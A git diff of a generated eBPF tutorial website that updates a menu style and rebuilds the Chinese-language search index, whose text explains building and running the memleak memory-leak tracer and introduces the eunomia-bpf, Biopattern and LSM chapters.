-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
@@ -937,7 +959,6 @@ int tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx
 
  uid_t uid = (u32)bpf_get_current_uid_gid();
  id = bpf_get_current_pid_tgid();
- pid = (pid_t)id;
  tgid = id &gt;&gt; 32;
 
  event.pid = tgid;
diff --git a/searchindex.js b/searchindex.js
index b1039d4..7d84dab 100644
--- a/searchindex.js
+++ b/searchindex.js
@@ -1 +1 @@
-Object.assign(window.search, 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数据结构，以及用于装载内核态代码的关键函数。在用户态代码include此文件之后调用对应的装载函数即可将 字节码装载到内核中。同样的，libbpf-bootstrap也有非常完备的入门教程，用户可以在 该处 得到详细的入门操作介绍。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » libbpf","id":"10","title":"libbpf"},"100":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 和 USDT 动态跟踪和分析 Java 的垃圾回收(GC)事件。我们了解了如何在用户态应用程序中设置 USDT 跟踪点，以及如何编写 eBPF 程序来捕获这些跟踪点的信息，从而更深入地理解和优化 Java GC 的行为和性能。 此外，我们也介绍了一些关于 Java GC、USDT 和 eBPF 的基础知识和实践技巧，这些知识和技巧对于想要在网络和系统性能分析领域深入研究的开发者来说是非常有价值的。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 总结","id":"100","title":"总结"},"101":{"body":"eBPF（扩展的伯克利数据包过滤器）是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在本篇教程中，我们将探讨如何使用 eBPF 编写 Memleak 程序，以监控程序的内存泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏","id":"101","title":"eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏"},"102":{"body":"内存泄漏是计算机编程中的一种常见问题，其严重程度不应被低估。内存泄漏发生时，程序会逐渐消耗更多的内存资源，但并未正确释放。随着时间的推移，这种行为会导致系统内存逐渐耗尽，从而显著降低程序及系统的整体性能。 内存泄漏有多种可能的原因。这可能是由于配置错误导致的，例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的，如在程序执行过程中忘记释放不再需要的内存。此外，如果一个应用程序的内存使用量过大，那么系统性能可能会因页面交换（swapping）而大幅下降，甚至可能导致应用程序被系统强制终止（Linux 的 OOM killer）。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 背景及其重要性","id":"102","title":"背景及其重要性"},"103":{"body":"调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况，通常需要应用专门的工具来帮助诊断。例如，有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来，如 Valgrind memcheck，这类工具可以模拟 CPU 来检查所有内存访问，但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器，如 libtcmalloc，它相对较快，但仍可能使应用程序运行速度降低五倍以上。此外，还有一些工具，如 gdb，可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而，这些工具通常在获取核心转储时需要暂停应用程序，或在应用程序终止后才能调用 free() 函数。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 调试内存泄漏的挑战","id":"103","title":"调试内存泄漏的挑战"},"104":{"body":"在这种背景下，eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件，包括内存的分配和释放。通过 eBPF，我们可以跟踪内存分配和释放的请求，并收集每次分配的调用堆栈。然后，我们可以分 析这些信息，找出执行了内存分配但未执行释放操作的调用堆栈，这有助于我们找出导致内存泄漏的源头。这种方式的优点在于，它可以实时地在运行的应用程序中进行，而无需暂停应用程序或进行复杂的前后处理。 memleak eBPF 工具可以跟踪并匹配内存分配和释放的请求，并收集每次分配的调用堆栈。随后，memleak 可以打印一个总结，表明哪些调用堆栈执行了分配，但是并没有随后进行释放。例如，我们运行命令： # ./memleak -p $(pidof allocs)\nAttaching to pid 5193, Ctrl+C to quit.\n[11:16:33] Top 2 stacks with outstanding allocations: 80 bytes in 5 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] [11:16:34] Top 2 stacks with outstanding allocations: 160 bytes in 10 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] 运行这个命令后，我们可以看到分配但未释放的内存来自于哪些堆栈，并且可以看到这些未释放的内存的大小和数量。 随着时间的推移，很显然，allocs 进程的 main 函数正在泄漏内存，每次泄漏 16 字节。幸运的是，我们不需要检查每个分配，我们得到了一个很好的总结，告诉我们哪个堆栈负责大量的泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 的作用","id":"104","title":"eBPF 的作用"},"105":{"body":"在基本层面上，memleak 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着，当这些函数被调用时，memleak 就会记录一些重要信息，如调用者的进程 ID（PID）、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时，memleak 则会在其内部的映射表（map）中删除相应的内存分配记录。这种机制使得 memleak 能够准确地追踪到哪些内存块已被分配但未被释放。 对于用户态的常用内存分配函数，如 malloc 和 calloc 等，memleak 利用了用户态探测（uprobe）技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术，它可以在运行时不修改二进制文件的情况下在任意位置设置断点，从而实现对特定函数调用的追踪。 对于内核态的内存分配函数，如 kmalloc 等，memleak 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术，它可以在内核运行时动态地追踪特定的事件，而无需重新编译内核或加载内核模块。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 的实现原理","id":"105","title":"memleak 的实现原理"},"106":{"body":"","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 内核态 eBPF 程序实现","id":"106","title":"内核态 eBPF 程序实现"},"107":{"body":"memleak 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前，让我们首先观察 memleak 所定义的一些数据结构，这些结构在其内核态和用户态程序中均有使用。 #ifndef __MEMLEAK_H\n#define __MEMLEAK_H #define ALLOCS_MAX_ENTRIES 1000000\n#define COMBINED_ALLOCS_MAX_ENTRIES 10240 struct alloc_info { __u64 size; // 分配的内存大小 __u64 timestamp_ns; // 分配时的时间戳，单位为纳秒 int stack_id; // 分配时的调用堆栈ID\n}; union combined_alloc_info { struct { __u64 total_size : 40; // 所有未释放分配的总大小 __u64 number_of_allocs : 24; // 所有未释放分配的总次数 }; __u64 bits; // 结构的位图表示\n}; #endif /* __MEMLEAK_H */ 这里定义了两个主要的数据结构：alloc_info 和 combined_alloc_info。 alloc_info 结构体包含了一个内存分配的基本信息，包括分配的内存大小 size、分配发生时的时间戳 timestamp_ns，以及触发分配的调用堆栈 ID stack_id。 combined_alloc_info 是一个联合体（union），它包含一个嵌入的结构体和一个 __u64 类型的位图表示 bits。嵌入的结构体有两个成员：total_size 和 number_of_allocs，分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数，用来限制其大小。通过这样的位数限制，可以节省combined_alloc_info结构的存储空间。同时，由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits，因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs，从而避免了在程序中定义额外的变量和函数的复杂性。 接下来，memleak 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射（maps）。这些映射都以 SEC(\".maps\") 的形式定义，表示它们属于 eBPF 程序的映射部分。 const volatile size_t min_size = 0;\nconst volatile size_t max_size = -1;\nconst volatile size_t page_size = 4096;\nconst volatile __u64 sample_rate = 1;\nconst volatile bool trace_all = false;\nconst volatile __u64 stack_flags = 0;\nconst volatile bool wa_missing_free = false; struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, pid_t); __type(value, u64); __uint(max_entries, 10240);\n} sizes SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* address */ __type(value, struct alloc_info); __uint(max_entries, ALLOCS_MAX_ENTRIES);\n} allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* stack id */ __type(value, union combined_alloc_info); __uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);\n} combined_allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); __type(value, u64); __uint(max_entries, 10240);\n} memptrs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_STACK_TRACE); __type(key, u32);\n} stack_traces SEC(\".maps\"); static union combined_alloc_info initial_cinfo; 这段代码首先定义了一些可配置的参数，如 min_size, max_size, page_size, sample_rate, trace_all, stack_flags 和 wa_missing_free，分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放（missing free）模式。 接着定义了五个映射： sizes：这是一个哈希类型的映射，键为进程 ID，值为 u64 类型，存储每个进程的分配大小。 allocs：这也是一个哈希类型的映射，键为分配的地址，值为 alloc_info 结构体，存储每个内存分配的详细信息。 combined_allocs：这是另一个哈希类型的映射，键为堆栈 ID，值为 combined_alloc_info 联合体，存储所有未释放分配的总大小和总次数。 memptrs：这也是一个哈希类型的映射，键和值都为 u64 类型，用于在用户空间和内核空间之间传递内存指针。 stack_traces：这是一个堆栈追踪类型的映射，键为 u32 类型，用于存储堆栈 ID。 以用户态的内存分配追踪部分为例，主要是挂钩内存相关的函数调用，如 malloc, free, calloc, realloc, mmap 和 munmap，以便在调用这些函数时进行数据记录。在用户态，memleak 主要使用了 uprobes 技术进行挂载。 每个函数调用被分为 \"enter\" 和 \"exit\" 两部分。\"enter\" 部分记录的是函数调用的参数，如分配的大小或者释放的地址。\"exit\" 部分则主要用于获取函数的返回值，如分配得到的内存地址。 这里，gen_alloc_enter, gen_alloc_exit, gen_free_enter 是实现记录行为的函数，他们分别用于记录分配开始、分配结束和释放开始的相关信息。 函数原型示例如下： SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ // 记录分配开始的相关信息 return gen_alloc_enter(size);\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ // 记录分配结束的相关信息 return gen_alloc_exit(ctx);\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ // 记录释放开始的相关信息 return gen_free_enter(address);\n} 其中，malloc_enter 和 free_enter 是分别挂载在 malloc 和 free 函数入口处的探针（probes），用于在函数调用时进行数据记录。而 malloc_exit 则是挂载在 malloc 函数的返回处的探针，用于记录函数的返回值。 这些函数使用了 BPF_KPROBE 和 BPF_KRETPROBE 这两个宏来声明，这两个宏分别用于声明 kprobe（内核探针）和 kretprobe（内核返回探针）。具体来说，kprobe 用于在函数调用时触发，而 kretprobe 则是在函数返回时触发。 gen_alloc_enter 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。 static int gen_alloc_enter(size_t size)\n{ if (size < min_size || size > max_size) return 0; if (sample_rate > 1) { if (bpf_ktime_get_ns() % sample_rate != 0) return 0; } const pid_t pid = bpf_get_current_pid_tgid() >> 32; bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY); if (trace_all) bpf_printk(\"alloc entered, size = %lu\\n\", size); return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ return gen_alloc_enter(size);\n} 首先，gen_alloc_enter 函数接收一个 size 参数，这个参数表示请求分配的内存的大小。如果这个值不在 min_size 和 max_size 之间，函数将直接返回，不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求，过滤掉不感兴趣的分配请求。 接下来，函数检查采样率 sample_rate。如果 sample_rate 大于1，意味着我们不需要追踪所有的内存分配请求，而是周期性地追踪。这里使用 bpf_ktime_get_ns 获取当前的时间戳，然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术，用于降低性能开销，同时还能够提供一个代表性的样本用于分析。 之后，函数使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID，我们通过右移 32 位来获取真正的进程 ID。 函数接下来更新 sizes 这个 map，这个 map 以进程 ID 为键，以请求的内存分配大小为值。BPF_ANY 表示如果 key 已存在，那么更新 value，否则就新建一个条目。 最后，如果启用了 trace_all 标志，函数将打印一条信息，说明发生了内存分配。 BPF_KPROBE 宏用于 最后定义了 BPF_KPROBE(malloc_enter, size_t size)，它会在 malloc 函数被调用时被 BPF uprobe 拦截执行，并通过 gen_alloc_enter 来记录内存分配大小。 我们刚刚分析了内存分配的入口函数 gen_alloc_enter，现在我们来关注这个过程的退出部分。具体来说，我们将讨论 gen_alloc_exit2 函数以及如何从内存分配调用中获取返回的内存地址。 static int gen_alloc_exit2(void *ctx, u64 address)\n{ const pid_t pid = bpf_get_current_pid_tgid() >> 32; struct alloc_info info; const u64* size = bpf_map_lookup_elem(&sizes, &pid); if (!size) return 0; // missed alloc entry __builtin_memset(&info, 0, sizeof(info)); info.size = *size; bpf_map_delete_elem(&sizes, &pid); if (address != 0) { info.timestamp_ns = bpf_ktime_get_ns(); info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags); bpf_map_update_elem(&allocs, &address, &info, BPF_ANY); update_statistics_add(info.stack_id, info.size); } if (trace_all) { bpf_printk(\"alloc exited, size = %lu, result = %lx\\n\", info.size, address); } return 0;\n}\nstatic int gen_alloc_exit(struct pt_regs *ctx)\n{ return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ return gen_alloc_exit(ctx);\n} gen_alloc_exit2 函数在内存分配操作完成时被调用，这个函数接收两个参数，一个是上下文 ctx，另一个是内存分配函数返回的内存地址 address。 首先，它获取当前线程的 PID，然后使用这个 PID 作为键在 sizes 这个 map 中查找对应的内存分配大小。如果没有找到（也就是说，没有对应的内存分配操作的入口），函数就会直接返回。 接着，函数清除 info 结构体的内容，并设置它的 size 字段为之前在 map 中找到的内存分配大小。并从 sizes 这个 map 中删除相应的元素，因为此时内存分配操作已经完成，不再需要这个信息。 接下来，如果 address 不为 0（也就是说，内存分配操作成功了），函数就会进一步收集一些额外的信息。首先，它获取当前的时间戳作为内存分配完成的时间，并获取当前的堆栈跟踪。这些信息都会被储存在 info 结构体中，并随后更新到 allocs 这个 map 中。 最后，函数调用 update_statistics_add 更新统计数据，如果启用了所有内存分配操作的跟踪，函数还会打印一些关于内存分配操作的信息。 请注意，gen_alloc_exit 函数是 gen_alloc_exit2 的一个包装，它将 PT_REGS_RC(ctx) 作为 address 参数传递给 gen_alloc_exit2。在我们的讨论中，我们刚刚提到在gen_alloc_exit2函数中，调用了update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。 static void update_statistics_add(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo); if (!existing_cinfo) return; const union combined_alloc_info incremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits);\n} update_statistics_add 函数接收两个参数：当前的堆栈 ID stack_id 以及内存分配的大小 sz。这两个参数都在内存分配事件中收集到，并且用于更新内存分配的统计数据。 首先，函数尝试在 combined_allocs 这个 map 中查找键值为当前堆栈 ID 的元素，如果找不到，就用 initial_cinfo（这是一个默认的 combined_alloc_info 结构体，所有字段都为零）来初始化新的元素。 接着，函数创建一个 incremental_cinfo，并设置它的 total_size 为当前内存分配的大小，设置 number_of_allocs 为 1。这是因为每次调用 update_statistics_add 函数都表示有一个新的内存分配事件发生，而这个事件的内存分配大小就是 sz。 最后，函数使用 __sync_fetch_and_add 函数原子地将 incremental_cinfo 的值加到 existing_cinfo 中。请注意这个步骤是线程安全的，即使有多个线程并发地调用 update_statistics_add 函数，每个内存分配事件也能正确地记录到统计数据中。 总的来说，update_statistics_add 函数实现了内存分配统计的更新逻辑，通过维护每个堆栈 ID 的内存分配总量和次数，我们可以深入了解到程序的内存分配行为。 在我们对内存分配的统计跟踪过程中，我们不仅要统计内存的分配，还要考虑内存的释放。在上述代码中，我们定义了一个名为 update_statistics_del 的函数，其作用是在内存释放时更新统计信息。而 gen_free_enter 函数则是在进程调用 free 函数时被执行。 static void update_statistics_del(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id); if (!existing_cinfo) { bpf_printk(\"failed to lookup combined allocs\\n\"); return; } const union combined_alloc_info decremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits);\n} update_statistics_del 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 combined_allocs 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 combined_alloc_info 结构体。如果找不到，就输出错误信息，然后函数返回。如果找到了，就会构造一个名为 decremental_cinfo 的 combined_alloc_info 结构体，设置它的 total_size 为要释放的内存大小，设置 number_of_allocs 为 1。然后使用 __sync_fetch_and_sub 函数原子地从 existing_cinfo 中减去 decremental_cinfo 的值。请注意，这里的 number_of_allocs 是负数，表示减少了一个内存分配。 static int gen_free_enter(const void *address)\n{ const u64 addr = (u64)address; const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr); if (!info) return 0; bpf_map_delete_elem(&allocs, &addr); update_statistics_del(info->stack_id, info->size); if (trace_all) { bpf_printk(\"free entered, address = %lx, size = %lu\\n\", address, info->size); } return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ return gen_free_enter(address);\n} 接下来看 gen_free_enter 函数。它接收一个地址作为参数，这个地址是内存分配的结果，也就是将要释放的内存的起始地址。函数首先在 allocs 这个 map 中使用这个地址作为键来查找对应的 alloc_info 结构体。如果找不到，那么就直接返回，因为这意味着这个地址并没有被分配过。如果找到了，那么就删除这个元素，并且调用 update_statistics_del 函数来更新统计数据。最后，如果启用了全局追踪，那么还会输出一条信息，包括这个地址以及它的大小。 在我们追踪和统计内存分配的同时，我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中，kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。 SEC(\"tracepoint/kmem/kfree\")\nint memleak__kfree(void *ctx)\n{ const void *ptr; if (has_kfree()) { struct trace_event_raw_kfree___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } else { struct trace_event_raw_kmem_free___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } return gen_free_enter(ptr);\n} 上述代码片段定义了一个函数memleak__kfree，这是一个bpf程序，会在内核调用kfree函数时执行。首先，该函数检查是否存在kfree函数。如果存在，则会读取传递给kfree函数的参数（即要释放的内存块的地址），并保存到变量ptr中；否则，会读取传递给kmem_free函数的参数（即要释放的内存块的地址），并保存到变量ptr中。接着，该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。 SEC(\"tracepoint/kmem/kmem_cache_alloc\")\nint memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx)\n{ if (wa_missing_free) gen_free_enter(ctx->ptr); gen_alloc_enter(ctx->bytes_alloc); return gen_alloc_exit2(ctx, (u64)(ctx->ptr));\n} 这段代码定义了一个函数 memleak__kmem_cache_alloc，这也是一个bpf程序，会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置，则调用 gen_free_enter 函数处理可能遗漏的释放操作。然后，该函数会调用 gen_alloc_enter 函数来处理内存分配，最后调用gen_alloc_exit2函数记录分配的结果。 这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint，以便在相应的内核函数被调用时得到执行。在Linux内核中，tracepoint 是一种可以在内核中插入的静态钩子，可以用来收集运行时的内核信息，它在调试和性能分析中非常有用。 在理解这些代码的过程中，要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中，我们不能直接访问内核内存，而需要使用这样的宏来安全地读取数据。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 内核态 eBPF 程序实现","id":"107","title":"memleak 内核态 eBPF 程序实现"},"108":{"body":"在理解 BPF 内核部分之后，我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合，它负责将BPF程序加载到内核，设置和管理BPF map，以及处理从BPF程序收集到的数据。用户态程序较长，我们这里可以简要参考一下它的挂载点。 int attach_uprobes(struct memleak_bpf *skel)\n{ ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter); ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit); ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter); ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit); ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter); ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit); ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter); ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit); ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter); ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit); ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter); ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit); ATTACH_UPROBE_CHECKED(skel, free, free_enter); ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter); // the following probes are intentinally allowed to fail attachment // deprecated in libc.so bionic ATTACH_UPROBE(skel, valloc, valloc_enter); ATTACH_URETPROBE(skel, valloc, valloc_exit); // deprecated in libc.so bionic ATTACH_UPROBE(skel, pvalloc, pvalloc_enter); ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit); // added in C11 ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter); ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit); return 0;\n} 在这段代码中，我们看到一个名为attach_uprobes的函数，该函数负责将uprobes（用户空间探测点）挂载到内存分配和释放函数上。在Linux中，uprobes是一种内核机制，可以在用户空间程序中的任意位置设置断点，这使得我们可以非常精确地观察和控制用户空间程序的行为。 这里，每个内存相关的函数都通过两个uprobes进行跟踪：一个在函数入口（enter），一个在函数退出（exit）。因此，每当这些函数被调用或返回时，都会触发一个uprobes事件，进而触发相应的BPF程序。 在具体的实现中，我们使用了ATTACH_UPROBE和ATTACH_URETPROBE两个宏来附加uprobes和uretprobes（函数返回探测点）。每个宏都需要三个参数：BPF程序的骨架（skel），要监视的函数名，以及要触发的BPF程序的名称。 这些挂载点包括常见的内存分配函数，如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等，以及对应的退出点。另外，我们也观察一些可能的分配函数，如valloc、pvalloc、aligned_alloc等，尽管它们可能不总是存在。 这些挂载点的目标是捕获所有可能的内存分配和释放事件，从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放，还能得到它们发生的上下文信息，例如调用栈和调用次数，从而帮助我们定位和修复内存泄露问题。 注意，一些内存分配函数可能并不存在或已弃用，比如valloc、pvalloc等，因此它们的附加可能会失败。在这种情况下，我们允许附加失败，并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数，而这些已经被弃用的函数往往在实际应用中较少使用。 完整的源代码：https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/16-memleak","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 用户态程序","id":"108","title":"用户态程序"},"109":{"body":"$ git clone https://github.com/iovisor/bcc.git --recurse-submodules $ cd libbpf-tools/\n$ make memleak\n$ sudo ./memleak using default object: libc.so.6\nusing page size: 4096\ntracing kernel: true\nTracing outstanding memory allocs... Hit Ctrl-C to end\n[17:17:27] Top 10 stacks with outstanding allocations:\n1236992 bytes in 302 allocations from stack 0 [<ffffffff812c8f43>] <null sym> 1 [<ffffffff812c8f43>] <null sym> 2 [<ffffffff812a9d42>] <null sym> 3 [<ffffffff812aa392>] <null sym> 4 [<ffffffff810df0cb>] <null sym> 5 [<ffffffff81edc3fd>] <null sym> 6 [<ffffffff82000b62>] <null sym>\n...","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 编译运行","id":"109","title":"编译运行"},"11":{"body":"开发、构建和分发 eBPF 一直以来都是一个高门槛的工作，使用 BCC、bpftrace 等工具开发效率高、可移植性好，但是分发部署时需要安装 LLVM、Clang等编译环境，每次运行的时候执行本地或远程编译过程，资源消耗较大；使用原生的 CO-RE libbpf时又需要编写不少用户态加载代码来帮助 eBPF 程序正确加载和从内核中获取上报的信息，同时对于 eBPF 程序的分发、管理也没有很好地解决方案。 eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，是为了简化 eBPF 程序的开发、构建、分发、运行而设计的，基于 libbpf 的 CO-RE 轻量级开发框架。 使用 eunomia-bpf ，可以： 在编写 eBPF 程序或工具时只编写内核态代码，自动获取内核态导出信息，并作为模块动态加载； 使用 WASM 进行用户态交互程序的开发，在 WASM 虚拟机内部控制整个 eBPF 程序的加载和执行，以及处理相关数据； eunomia-bpf 可以将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块，跨架构和内核版本进行分发，无需重新编译即可动态加载运行。 eunomia-bpf 由一个编译工具链和一个运行时库组成, 对比传统的 BCC、原生 libbpf 等框架，大幅简化了 eBPF 程序的开发流程，在大多数时候只需编写内核态代码，即可轻松构建、打包、发布完整的 eBPF 应用，同时内核态 eBPF 代码保证和主流的 libbpf, libbpfgo, libbpf-rs 等开发框架的 100% 兼容性。需要编写用户态代码的时候，也可以借助 Webassembly 实现通过多种语言进行用户态开发。和 bpftrace 等脚本工具相比, eunomia-bpf 保留了类似的便捷性, 同时不仅局限于 trace 方面, 可以用于更多的场景, 如网络、安全等等。 eunomia-bpf 项目 Github 地址: https://github.com/eunomia-bpf/eunomia-bpf gitee 镜像: https://gitee.com/anolis/eunomia","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eunomia-bpf","id":"11","title":"eunomia-bpf"},"110":{"body":"通过本篇 eBPF 入门实践教程，您已经学习了如何编写 Memleak eBPF 监控程序，以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用，学会了使用 BPF API 编写 eBPF 程序，创建和使用 eBPF maps，并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子，帮助您理解 eBPF 代码的运行流程和原理。 您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF，以解决实际工作中遇到的问题。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 总结","id":"110","title":"总结"},"111":{"body":"","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » eBPF 入门实践教程：编写 eBPF 程序 Biopattern: 统计随机/顺序磁盘 I/O","id":"111","title":"eBPF 入门实践教程：编写 eBPF 程序 Biopattern: 统计随机/顺序磁盘 I/O"},"112":{"body":"Biopattern 可以统计随机/顺序磁盘I/O次数的比例。 TODO","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 背景","id":"112","title":"背景"},"113":{"body":"Biopattern 的ebpf代码在 tracepoint/block/block_rq_complete 挂载点下实现。在磁盘完成IO请求 后，程序会经过此挂载点。Biopattern 内部存有一张以设备号为主键的哈希表，当程序经过挂载点时, Biopattern 会获得操作信息，根据哈希表中该设备的上一次操作记录来判断本次操作是随机IO还是顺序IO，并更新操作计数。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 实现原理","id":"113","title":"实现原理"},"114":{"body":"TODO","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 编写 eBPF 程序","id":"114","title":"编写 eBPF 程序"},"115":{"body":"Biopattern 可以展现随机/顺序磁盘I/O次数的比例，对于开发者把握整体I/O情况有较大帮助。 TODO","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 总结","id":"115","title":"总结"},"116":{"body":"TODO","breadcrumbs":"更多的参考资料 » 更多的参考资料","id":"116","title":"更多的参考资料"},"117":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此，本文将介绍如何使用 eBPF LSM（Linux Security Modules）机制实现一个简单的安全检查程序。","breadcrumbs":"使用 LSM 进行安全检测防御 » eBPF 入门实践教程：使用 LSM 进行安全检测防御","id":"117","title":"eBPF 入门实践教程：使用 LSM 进行安全检测防御"},"118":{"body":"LSM 